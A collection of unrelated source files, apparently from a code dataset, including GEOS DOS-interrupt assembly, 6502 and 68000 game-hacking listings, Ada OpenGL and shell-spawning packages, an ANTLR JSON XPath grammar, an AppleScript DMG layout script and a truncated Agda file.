; segment portion, however, cannot possibly have been set up yet, and
; callTemporary is never used anywhere, so...
;
push ds
push ax
LoadVarSeg ds, ax
mov ax, ds:dosAddr.segment
mov ss:TPD_callTemporary, ax
mov ax, ds:dosAddr.offset
mov ss:TPD_callVector.segment, ax
pop ax
pop ds
;
; Emulate interrupt
;
; Turn off the trap flag first, as otherwise we'll turn trapping
; back on when we return from the interrupt
SSP < call SaveAndDisableSingleStepping >
pushf
INT_OFF
if TEST_RECORD_INT21
call FSDRecordInt21Call ; destroys flags
endif
call {dword}ss:TPD_callVector.segment
SSP < call RestoreSingleStepping >
;
; Handle critical errors in the gross way necessitated by some versions
; of DOS.
;
pushf
cmp ss:TPD_callTemporary, 1 ; Error detected?
ja noCritical ; Nope (DOS must have
; been in a segment >
; 1)
pop ax ; Set carry in saved
or ax, ss:TPD_callTemporary ; flags if appropriate
push ax
mov ax, ss:TPD_callVector.segment ; ax <- error code
noCritical:
if TEST_RECORD_INT21
call FSDEndInt21Call ; destroys flags
endif
popf
;
; Release DOS/BIOS lock
;
call SysUnlockBIOSFar
done::
.leave
ret
FSDInt21 endp
if TEST_RECORD_INT21
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDRecordInt21Call
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Records calls made to DOS with Int21
CALLED BY: FSDInt21
PASS: AH = Int21Call enumerated type (function)
Interrupts are OFF
RETURN: Nothing
DESTROYED: flags
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 4/15/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDRecordInt21Call proc near
uses ax, bx, ds
.enter
; Record the current time
;
push ax
LoadVarSeg ds, ax
call TimerStartCount ; record starting count
mov ds:[recInt21Start].TR_ticks, bx
mov ds:[recInt21Start].TR_units, ax
pop ax
; Increment the usage count
;
mov al, ah
clr ah
shl ax, 1
mov bx, ax
shl ax, 1
add bx, ax ; offset into recInt21Table=> BX
add bx, offset recInt21Table
inc ds:[bx].IRE_count
mov ds:[recInt21Func], bx
; Now track any amount we are reading or writing
;
clr bx ; use as a high word later
cmp ax, MSDOS_READ_FILE * 4
je readFile
cmp ax, MSDOS_WRITE_FILE * 4
je writeFile
done:
.leave
ret
; Record information for file reads or writes
readFile:
adddw ds:[recFileReads], bxcx
jmp done
writeFile:
adddw ds:[recFileWrites], bxcx
jmp done
FSDRecordInt21Call endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDEndInt21Call
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Record the time spent in an Int21 call
CALLED BY: FSDInt21
PASS: Inerrupts ON
RETURN: Nothing
DESTROYED: flags
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 4/16/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDEndInt21Call proc near
uses ax, bx, si, ds
.enter
; Now record the end of the call
;
LoadVarSeg ds, ax
mov bx, ds:[recInt21Start].TR_ticks
mov ax, ds:[recInt21Start].TR_units
mov si, ds:[recInt21Func] ; elapsed time buffer => DS:SI
call TimerEndCount ; update elapsed time
.leave
ret
FSDEndInt21Call endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDRecordError
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Record a critical error for the current thread.
CALLED BY: FS driver
PASS: ax = error code to return
bx = 0 if should not set carry on return
= 1 if should set carry on return
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
store the error code in TPD_callVector.segment and the
carry/error flag in TPD_callTemporary. Since DOS must be in
a segment other than 0 or 1, we can safely use callTemporary
being below 1 as a signal that an error occurred.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 4/16/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDRecordError proc far
.enter
mov ss:[TPD_callTemporary], bx
mov ss:[TPD_callVector.segment], ax
.leave
ret
FSDRecordError endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDGetThreadPathDiskHandle
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fetch the disk handle from the current thread's current
path.
CALLED BY: FSDs
PASS: nothing
RETURN: bx = disk handle for thread's current path. This may
be a member of the StandardPath enum. If
BX & DISK_IS_STD_PATH_MASK
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/23/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDGetThreadPathDiskHandle proc far
uses ds
.enter
LoadVarSeg ds, bx
mov bx, ss:[TPD_curPath]
tst bx
jz done ; XXX: necessary?
mov bx, ds:[bx].HM_otherInfo
done:
.leave
ret
FSDGetThreadPathDiskHandle endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDCheckOpenCloseNotifyEnabled
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if FCNT_OPEN/FCNT_CLOSE notification is enabled
CALLED BY: (RESTRICTED GLOBAL)
PASS: nothing
RETURN: carry set if notification is enabled
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDCheckOpenCloseNotifyEnabled proc far
uses ds
.enter
LoadVarSeg ds
tst ds:[openCloseNotificationCount]
jz done
stc
done:
.leave
ret
FSDCheckOpenCloseNotifyEnabled endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDGenerateNotify
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Generate file-change notification from the passed
parameters.
CALLED BY: (RESTRICTED GLOBAL)
PASS: ax = FileChangeNotificationType
if ax != FCNT_BATCH
si = disk handle
cxdx = ID to pass (either of affected file or
containing directory)
ds:bx = file name, if needed
else
bx = handle of FileChangeBatchNotificationData
RETURN: carry set if notification discarded due to lack of memory
DESTROYED: ax, bx, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDGenerateNotify proc far
uses es, si, di, bp
.enter
tst ss:[TPD_fsNotifyBatch]
jz straightNotify
call FSDAddNotifyToBatch
jmp done
straightNotify:
cmp ax, FCNT_BATCH
jne notBatch
mov_tr dx, ax
jmp sendNotify
notBatch:
;
; Allocate a data block to convey our meaning.
;
push ax, bx, cx
mov ax, size FileChangeNotificationData
mov cx, ALLOC_DYNAMIC_LOCK or mask HF_SHARABLE
call MemAllocFar
jc memErr
;
; Store the constant parts of the data (disk handle, and ID for
; something).
;
mov es, ax
mov es:[FCND_disk], si
mov es:[FCND_id].low, dx
pop es:[FCND_id].high
;
; See if we need to copy a filename in.
;
pop si ; ds:si <- filename
pop dx ; dx <- FCNT
CheckHack <FCNT_CREATE eq 0 and FCNT_RENAME eq 1>
cmp dx, FCNT_RENAME ; only rename and create take a
; file name.
ja unlockBlock ; => no name required
;
; Copy the filename from ds:di to es:FCND_name
;
mov di, offset FCND_name
LocalCopyString ;copy NULL-terminated string
unlockBlock:
call MemUnlock
sendNotify:
;
; Initialize the reference count for the data block to 1, to
; account for what GCNListSend does.
;
mov ax, 1
call MemInitRefCount
mov bp, bx ; bp <- data block
;
; Record the MSG_NOTIFY_FILE_CHANGE going to no class in particular.
;
mov ax, MSG_NOTIFY_FILE_CHANGE
clr bx, si
mov di, mask MF_RECORD
call ObjMessage
;
; Call GCNListSend
;
mov cx, di ; cx <- event handle
mov bx, MANUFACTURER_ID_GEOWORKS ; bxax <- list ID
mov ax, GCNSLT_FILE_SYSTEM
mov dx, bp ; dx <- data block
mov bp, mask GCNLSF_FORCE_QUEUE ; now would be a bad
; time to field this
; message on this
; thread...
call GCNListSend
clc ; GCNListSend may
; modify flags...
done:
.leave
ret
memErr:
pop ax, bx, cx
jmp done
FSDGenerateNotify endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDAddNotifyToBatch
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add the passed notification to the batch we're building
for this thread.
CALLED BY: (INTERNAL) FSDGenerateNotify
PASS: ax = FileChangeNotificationType
si = disk handle
cxdx = ID to pass (either of affected file or containing
directory)
ds:bx = file name, if needed
RETURN: nothing
DESTROYED: ax, bx, cx, dx, es, si, di, bp
SIDE EFFECTS: a new block for ss:[TPD_fsNotifyBatch] may be allocated
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDAddNotifyToBatch proc near
.enter
mov di, bx ; save file name
mov bx, ss:[TPD_fsNotifyBatch]
push ax ; save notification type
lockIt:
call MemLock
mov es, ax
cmp es:[FCBND_end], FSD_MAX_BATCH_SIZE
jbe addToThisOne
;
; Not enough room here. Allocate a new block and link it to the existing
; one through the HM_otherInfo.
;
call MemUnlock
push bx
call FSDAllocNewBatchBlock
pop ax
jc memErr
call MemModifyOtherInfo
mov ss:[TPD_fsNotifyBatch], bx
jmp lockIt
addToThisOne:
;
; Enlarge the block enough to hold the data for the notification,
; coping with some things having a name (FCNT_CREATE, FCNT_RENAME)
; and others not.
;
pop ax
push ax
cmp ax, FCNT_RENAME
mov ax, size FileChangeBatchNotificationItem
ja haveSize
mov ax, size FileChangeBatchNotificationItem + \
size FileLongName
haveSize:
push cx
add ax, es:[FCBND_end]
mov bp, ax
add ax, FSD_ALLOC_GRANULARITY-1 ; round up
andnf ax, not (FSD_ALLOC_GRANULARITY-1)
;
; Now see if we actually need to call MemReAlloc (faster to perform
; this check ourselves than having to get the heap semaphore and
; all that other stuff just to realize there's no change in size)
;
LoadVarSeg es, cx
mov cx, es:[bx].HM_size
shl cx
shl cx
shl cx
shl cx
cmp cx, ax
jb enlargeIt
mov es, es:[bx].HM_addr ; reload ES, since we're not
; changing it (block is locked)
;
; Fetch where we're to put this notification and adjust the pointer for
; the next time.
;
storeNotification:
mov bx, es:[FCBND_end]
FSDANTB_haveOffset label near
ForceRef FSDANTB_haveOffset ; for showcalls -F
mov es:[FCBND_end], bp
;
; Record all the fixed information.
;
pop es:[bx].FCBNI_id.high
mov es:[bx].FCBNI_id.low, dx
mov es:[bx].FCBNI_disk, si
pop ax
mov es:[bx].FCBNI_type, ax
;
; Copy the name in, if appropriate.
;
cmp ax, FCNT_RENAME
ja notificationComplete
mov si, di ; ds:si <- file name
lea di, es:[bx].FCBNI_name ; es:di <- dest
mov cx, length FileLongName
LocalCopyNString ;rep movsb/movsw
notificationComplete:
;
; Unlock the batch block and return.
;
mov bx, ss:[TPD_fsNotifyBatch]
call MemUnlock
clc
done:
.leave
ret
enlargeErr:
pop cx
memErr:
pop ax
jmp done
enlargeIt:
mov cx, (mask HAF_ZERO_INIT) shl 8
call MemReAlloc
jc enlargeErr
mov es, ax
jmp storeNotification
FSDAddNotifyToBatch endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDAllocNewBatchBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Allocate a block to batch up file-system change notifications
CALLED BY: (INTERNAL)
PASS: nothing
RETURN: bx = handle of block
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDAllocNewBatchBlock proc near
uses ax, ds, cx
.enter
mov ax, FSD_ALLOC_GRANULARITY
mov cx, ALLOC_DYNAMIC_LOCK or mask HF_SHARABLE
call MemAllocFar
jc done
mov ds, ax
mov ds:[FCBND_end], offset FCBND_items
clr ax ; null-terminate
call MemModifyOtherInfo ; in case only item in list
call MemUnlock
done:
.leave
ret
FSDAllocNewBatchBlock endp
FSResident ends
|
src/main/fragment/mos6502-common/vwsc1_lt_pwsc2_derefidx_vbuxx_then_la1.asm | jbrandwood/kickc | 2 | 98603 | lda #<{c1}
cmp {c2},x
lda #>{c1}
sbc {c2}+1,x
bvc !+
eor #$80
!:
bmi {la1} |
dino/lcs/item/1.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | 6 | 17079 | copyright zengfr site:http://github.com/zengfr/romhack
00172E move.b #$1, ($1,A6)
001734 rts [123p+ 1, enemy+ 1, etc+ 1, item+ 1]
001736 clr.b ($1,A6)
00173A rts [123p+ 1, enemy+ 1, item+ 1]
0049C0 tst.b ($1,A6)
0049C4 bne $49d4 [enemy+ 1, etc+ 1, item+ 1]
0251AC clr.b ($1,A6)
0251B0 jsr $24a9a.l [item+ 1]
027E48 move.b #$1, ($1,A6)
027E4E move.l #$100000, ($44,A6) [item+ 1]
027EF2 move.b #$1, ($1,A6)
027EF8 move.l #$100000, ($44,A6) [item+ 1]
027F84 move.b #$1, ($1,A6)
027F8A move.l #$100000, ($44,A6) [item+ 1]
028002 move.b #$1, ($1,A6)
028008 move.b #$ff, ($2,A6) [item+ 1]
copyright zengfr site:http://github.com/zengfr/romhack
|
orka/src/gl/interface/gl-fences.ads | onox/orka | 52 | 11082 | -- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2017 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Ada.Finalization;
with GL.Low_Level;
package GL.Fences is
pragma Preelaborate;
type Wait_Status is
(Already_Signaled,
Timeout_Expired,
Condition_Satisfied,
Wait_Failed);
type Signaled_Status is (Unset, Set, Signaled);
type Fence is new Ada.Finalization.Controlled with private;
overriding procedure Initialize (Object : in out Fence);
-- Create the object in OpenGL memory
overriding procedure Adjust (Object : in out Fence);
-- Increase the reference count
overriding procedure Finalize (Object : in out Fence);
-- Decrease the reference count, deleting the sync object when it
-- reaches zero
procedure Set_Fence (Object : in out Fence)
with Pre => Object.Status /= Set,
Post => Object.Initialized and Object.Status = Set;
-- Insert a new fence sync object into the OpenGL command stream
--
-- Any previously associated fence will be deleted
procedure Delete (Object : in out Fence)
with Post => not Object.Initialized and Object.Status = Unset;
function Initialized (Object : Fence) return Boolean;
-- Return True if a fence sync object is associated, False otherwise
function Status (Object : Fence) return Signaled_Status;
function Signaled (Object : Fence) return Boolean
with Pre => Object.Initialized and Object.Status /= Unset;
function Client_Wait (Object : Fence; Timeout : Duration) return Wait_Status
with Pre => Object.Initialized and Object.Status = Set;
-- Let the client block and wait until the fence becomes signaled or the
-- timeout expires
--
-- Does not delete the fence if it has been signaled.
procedure Server_Wait (Object : Fence)
with Pre => Object.Initialized and Object.Status = Set;
-- Let the server block and wait until the fence becomes signaled or the
-- video driver-dependent maximum timeout expires
--
-- Does not delete the fence. Call Signaled to find out
-- whether the fence was signaled or the timeout expired.
overriding
function "=" (Left, Right : Fence) return Boolean;
private
type Sync_Object_Reference is record
Sync_ID : Low_Level.Sync;
Reference_Count : Natural;
Status : Signaled_Status;
end record;
type Sync_Object_Reference_Access is access all Sync_Object_Reference;
type Fence is new Ada.Finalization.Controlled with record
Reference : Sync_Object_Reference_Access;
end record;
for Wait_Status use
(Already_Signaled => 16#911A#,
Timeout_Expired => 16#911B#,
Condition_Satisfied => 16#911C#,
Wait_Failed => 16#911D#);
for Wait_Status'Size use Low_Level.Enum'Size;
end GL.Fences;
|
libsrc/target/x1/stdio/conio_vars.asm | Frodevan/z88dk | 640 | 20949 | <reponame>Frodevan/z88dk<gh_stars>100-1000
;
; Shared variables between the VT100 and VT52 engines
MODULE conio_vars
SECTION data_clib
PUBLIC __x1_attr
PUBLIC __x1_mode
PUBLIC __x1_pcg_mode
EXTERN CLIB_DEFAULT_SCREEN_MODE
.__x1_attr defb $7, $0 ; White on Black
.__x1_mode defb CLIB_DEFAULT_SCREEN_MODE
.__x1_pcg_mode defb 0 ;Bit 0 = custom font, bit 1 = custom udgs
|
programs/oeis/059/A059015.asm | karttu/loda | 0 | 83120 | <reponame>karttu/loda
; A059015: Total number of 0's in binary expansions of 0, ..., n.
; 1,1,2,2,4,5,6,6,9,11,13,14,16,17,18,18,22,25,28,30,33,35,37,38,41,43,45,46,48,49,50,50,55,59,63,66,70,73,76,78,82,85,88,90,93,95,97,98,102,105,108,110,113,115,117,118,121,123,125,126,128,129,130,130,136,141,146,150,155,159,163,166,171,175,179,182,186,189,192,194,199,203,207,210,214,217,220,222,226,229,232,234,237,239,241,242,247,251,255,258,262,265,268,270,274,277,280,282,285,287,289,290,294,297,300,302,305,307,309,310,313,315,317,318,320,321,322,322,329,335,341,346,352,357,362,366,372,377,382,386,391,395,399,402,408,413,418,422,427,431,435,438,443,447,451,454,458,461,464,466,472,477,482,486,491,495,499,502,507,511,515,518,522,525,528,530,535,539,543,546,550,553,556,558,562,565,568,570,573,575,577,578,584,589,594,598,603,607,611,614,619,623,627,630,634,637,640,642,647,651,655,658,662,665,668,670,674,677,680,682,685,687,689,690,695,699,703,706,710,713,716,718,722,725,728,730,733,735,737,738,742,745,748,750,753,755,757,758,761,763
mov $4,$0
mov $5,$0
lpb $4,1
mov $0,$5
sub $4,1
sub $0,$4
mov $2,7
mov $3,1
add $3,$0
lpb $0,1
div $0,2
add $2,4
add $2,$0
sub $2,2
add $3,1
lpe
sub $2,$3
mov $6,1
mul $6,$2
sub $6,6
add $1,$6
lpe
add $1,1
|
s-wchcon.ads | ytomino/gnat4drake | 0 | 20833 | pragma License (Unrestricted);
package System.WCh_Con is
pragma Pure;
type WC_Encoding_Method is (
WCEM_Hex,
WCEM_Upper,
WCEM_Shift_JIS,
WCEM_EUC,
WCEM_UTF8,
WCEM_Brackets);
end System.WCh_Con;
|
env/osx/dmg.applescript | BillyFrcs/2DSnake | 166 | 1154 | <filename>env/osx/dmg.applescript
set appName to system attribute "appName"
set appNameExt to appName & ".app"
tell application "Finder"
tell disk appName
open
set current view of container window to icon view
set toolbar visible of container window to false
set statusbar visible of container window to false
set the bounds of container window to {400, 100, 1060, 500}
set viewOptions to the icon view options of container window
set arrangement of viewOptions to not arranged
set icon size of viewOptions to 168
set background picture of viewOptions to file ".background:background.tiff"
set position of item appNameExt of container window to {180, 182}
set position of item "Applications" of container window to {480, 182}
set position of item ".background" of container window to {180, 582}
-- set position of item ".fseventsd" of container window to {480, 582}
close
update without registering applications
delay 2
end tell
end tell |
src/test/resources/framework_specifications/SimpleArithmetic.g4 | google/polymorphicDSL | 3 | 3539 | grammar SimpleArithmetic;
INTEGER_VALUE : [0-9]+ ;
WS: [ \t]+ ;
PLUS : '+' ;
EQUALS : '=' ;
NEWLINE : [\r\n]+ ;
integerValue :INTEGER_VALUE ;
mathExpression : WS* integerValue WS* PLUS WS* integerValue EQUALS WS* integerValue (NEWLINE | EOF) ;
polymorphicDslAllRules : mathExpression+; |
templates4j-extension-json/src/main/resources/net/evilengineers/templates4j/extension/json/xpath/JsonXPath.g4 | danishdynamite/templates4j | 1 | 3887 | grammar JsonXPath;
/* Grammar rules */
query:
queryStep+;
queryStep:
Any name ('[' condition ']')?
| Next axisSpecifier? (name ('[' condition ']')?)?;
axisSpecifier:
axisName '::';
axisName:
'child'
| 'parent'
| 'descendant'
| 'descendant-or-self';
name:
Name | '*';
condition:
function '(' ')' operator StringLiteral;
operator:
'=';
function:
'text';
/* Lexer tokens */
Name: Char (Char | Numeric)*;
StringLiteral: '\'' StringCharacters? '\'';
Any: '//';
Next: '/';
fragment
StringCharacters: StringCharacter+;
fragment
StringCharacter: ~['\\] | EscapeSequence;
fragment
EscapeSequence: '\\' ['\\];
fragment
Char: 'a'..'z' | 'A'..'Z';
fragment
Numeric: '0'..'9';
fragment
Space: ' ' | '\t';
EOL: '\r'? '\n' | '\n';
|
source/Cosmos.Core.DebugStub/SerialIO.asm | Geramy/Cosmos | 207 | 174572 | ; Generated at 6/14/2016 12:11:29 PM
DebugStub_ComAddr dd 1016
%ifndef Exclude_IOPort_Based_Serial
DebugStub_WriteRegister:
push dword EDX
add word DX, 0x3F8
out DX, AL
pop dword EDX
DebugStub_WriteRegister_Exit:
mov dword [static_field__Cosmos_Core_INTs_mLastKnownAddress], DebugStub_WriteRegister_Exit
Ret
DebugStub_ReadRegister:
push dword EDX
add word DX, 0x3F8
in byte AL, DX
pop dword EDX
DebugStub_ReadRegister_Exit:
mov dword [static_field__Cosmos_Core_INTs_mLastKnownAddress], DebugStub_ReadRegister_Exit
Ret
%endif
|
source/shell-commands-safe.adb | charlie5/aShell | 11 | 19078 | <reponame>charlie5/aShell<gh_stars>10-100
with
Ada.Unchecked_Conversion,
Ada.Containers.Hashed_Maps,
Ada.Text_IO,
Ada.Exceptions;
package body Shell.Commands.Safe
is
----------------------
--- Safe_Client_Output
--
protected
type Safe_Client_Outputs
is
procedure Add_Outputs (Output : in Shell.Data;
Errors : in Shell.Data);
entry Get_Outputs (Output : out Data_Vector;
Errors : out Data_Vector;
Normal_Exit : out Boolean);
procedure Set_Done (Normal_Exit : in Boolean);
private
All_Output : Data_Vector;
All_Errors : Data_Vector;
Exit_Is_Normal : Boolean;
Done : Boolean := False;
end Safe_Client_Outputs;
protected
body Safe_Client_Outputs
is
procedure Add_Outputs (Output : in Shell.Data;
Errors : in Shell.Data)
is
begin
if Output'Length /= 0 then
All_Output.Append (Output);
end if;
if Errors'Length /= 0 then
All_Errors.Append (Errors);
end if;
end Add_Outputs;
entry Get_Outputs (Output : out Data_Vector;
Errors : out Data_Vector;
Normal_Exit : out Boolean) when Done
is
begin
Output := All_Output;
Errors := All_Errors;
Normal_Exit := Exit_Is_Normal;
end Get_Outputs;
procedure Set_Done (Normal_Exit : in Boolean)
is
begin
Exit_Is_Normal := Normal_Exit;
Done := True;
end Set_Done;
end Safe_Client_Outputs;
type Safe_Client_Outputs_Access is access all Safe_Client_Outputs;
----------------
--- Spawn_Client
--
task Spawn_Client
is
entry Add (The_Command : in Command;
Input : in Data := No_Data;
Outputs : in Safe_Client_Outputs_Access);
entry Stop;
end Spawn_Client;
task body Spawn_Client
is
use Ada.Strings.Unbounded;
package Id_Maps_of_Command_Outputs is new Ada.Containers.Hashed_Maps (Key_Type => Command_Id,
Element_Type => Safe_Client_Outputs_Access,
Hash => Hash,
Equivalent_Keys => "=");
Command_Outputs_Map : Id_Maps_of_Command_Outputs.Map;
Server_In_Pipe : constant Shell.Pipe := To_Pipe;
Server_Out_Pipe : constant Shell.Pipe := To_Pipe (Blocking => False);
Server_Err_Pipe : constant Shell.Pipe := To_Pipe;
Command_Line : Unbounded_String;
Have_New_Command : Boolean := False;
Command_Input : Data_Holder;
Server_Input_Stream : aliased Pipe_Stream := Stream (Server_In_Pipe);
Server_Output_Stream : aliased Pipe_Stream := Stream (Server_Out_Pipe);
Next_Id : Command_Id := 1;
Stopping : Boolean := False;
Server_Is_Done : Boolean := False;
Spawn_Server : Shell.Process with Unreferenced;
begin
Spawn_Server := Start (Program => "ashell_spawn_server",
Input => Server_In_Pipe,
Output => Server_Out_Pipe,
Errors => Server_Err_Pipe);
Close (Server_In_Pipe, Only_Read_End => True);
Close (Server_Out_Pipe, Only_Write_End => True);
Close (Server_Err_Pipe);
log ("Starting Spawn_Client");
loop
select
accept Add (The_Command : in Command;
Input : in Data := No_Data;
Outputs : in Safe_Client_Outputs_Access)
do
Log ("");
Log ("Client: Accepting new command.");
Have_New_Command := True;
Set_Unbounded_String (Command_Line,
Name (The_Command)
& " "
& Arguments (The_Command));
Command_Input.Replace_Element (Input);
Command_Outputs_Map.Insert (Next_Id,
Outputs);
end Add;
or
accept Stop
do
Log ("Client: Stopping.");
Stopping := True;
end Stop;
or
delay 0.01;
end select;
if Stopping
then
Log ("Client is stopping.");
Server_Action'Output (Server_Input_Stream'Access,
(Stop,
Null_Id));
Log ("Client asks server to stop.");
Stopping := False;
elsif Have_New_Command
then
Log ("New Command:" & Next_Id'Image & " '" & (+Command_Line) & "'");
Server_Action'Output (Server_Input_Stream'Access,
(New_Command,
Next_Id,
Command_Line,
Command_Input));
Have_New_Command := False;
Next_Id := Next_Id + 1;
end if;
if not Is_Empty (Server_Out_Pipe, Timeout => 0.06)
then
delay 0.01;
declare
Action : constant Client_Action := Client_Action'Input (Server_Output_Stream'Access);
Command_Outputs : Safe_Client_Outputs_Access;
begin
case Action.Kind
is
when New_Outputs =>
Log ("New Outputs for Command:" & Action.Id'Image);
Command_Outputs := Command_Outputs_Map.Element (Action.Id);
Command_Outputs.Add_Outputs (Action.Output.Element,
Action.Errors.Element);
when Command_Done =>
Log ("Command Done:" & Action.Id'Image);
Command_Outputs := Command_Outputs_Map.Element (Action.Id);
Command_Outputs.Set_Done (Normal_Exit => Action.Normal_Exit);
Command_Outputs_Map.Delete (Action.Id);
when Server_Done =>
Log ("Server is done.");
Server_Is_Done := True;
end case;
end;
end if;
exit when Server_Is_Done
and Command_Outputs_Map.Is_Empty;
end loop;
Close (Server_In_Pipe, Only_Write_End => True);
Close (Server_Out_Pipe, Only_Read_End => True);
Log ("Client is done.");
exception
when Process_Error =>
Ada.Text_IO.New_Line (2);
Ada.Text_IO.Put_Line ("__________________________________________________________________");
Ada.Text_IO.Put_Line ("Program 'ashell_spawn_server' not found on PATH. Please install it.");
Ada.Text_IO.Put_Line ("Spawn client is shutting down.");
Ada.Text_IO.Put_Line ("__________________________________________________________________");
Ada.Text_IO.New_Line (2);
when E : others =>
Log ("Unhandled error in Spawn_Client.");
Log (Ada.Exceptions.Exception_Information (E));
end Spawn_Client;
procedure Run (The_Command : in out Command;
Input : in Data := No_Data;
Raise_Error : in Boolean := False)
is
Outputs : aliased Safe_Client_Outputs;
Output : Data_Vector;
Errors : Data_Vector;
Normal_Exit : Boolean;
begin
Spawn_Client.Add (The_Command,
Input,
Outputs'Unchecked_Access);
Outputs.Get_Outputs (Output,
Errors,
Normal_Exit);
The_Command.Output := Output;
The_Command.Errors := Errors;
if Raise_Error
and not Normal_Exit
then
raise Command_Error with "Command '" & (+The_Command.Name) & "' failed.";
end if;
exception
when Tasking_Error =>
raise Command_Error with "Cannot run '" & (+The_Command.Name) & "'. The Spawn client has shut down.";
end Run;
function Run (The_Command : in out Command;
Input : in Data := No_Data;
Raise_Error : in Boolean := False) return Command_Results
is
begin
Run (The_Command, Input, Raise_Error);
return Results_Of (The_Command);
end Run;
procedure Stop_Spawn_Client
is
begin
Spawn_Client.Stop;
end Stop_Spawn_Client;
end Shell.Commands.Safe;
|
a1.agda | felixwellen/adventOfCode | 0 | 14067 | <reponame>felixwellen/adventOfCode
{-
Day 1, 1st task of https://adventofcode.com/
-}
module a1 where
open import Agda.Builtin.IO using (IO)
open import Agda.Builtin.Unit using (⊤)
open import Agda.Builtin.String using (String; primShowNat)
open import Data.Nat
open import Data.Bool using (if_then_else_)
open import Data.List
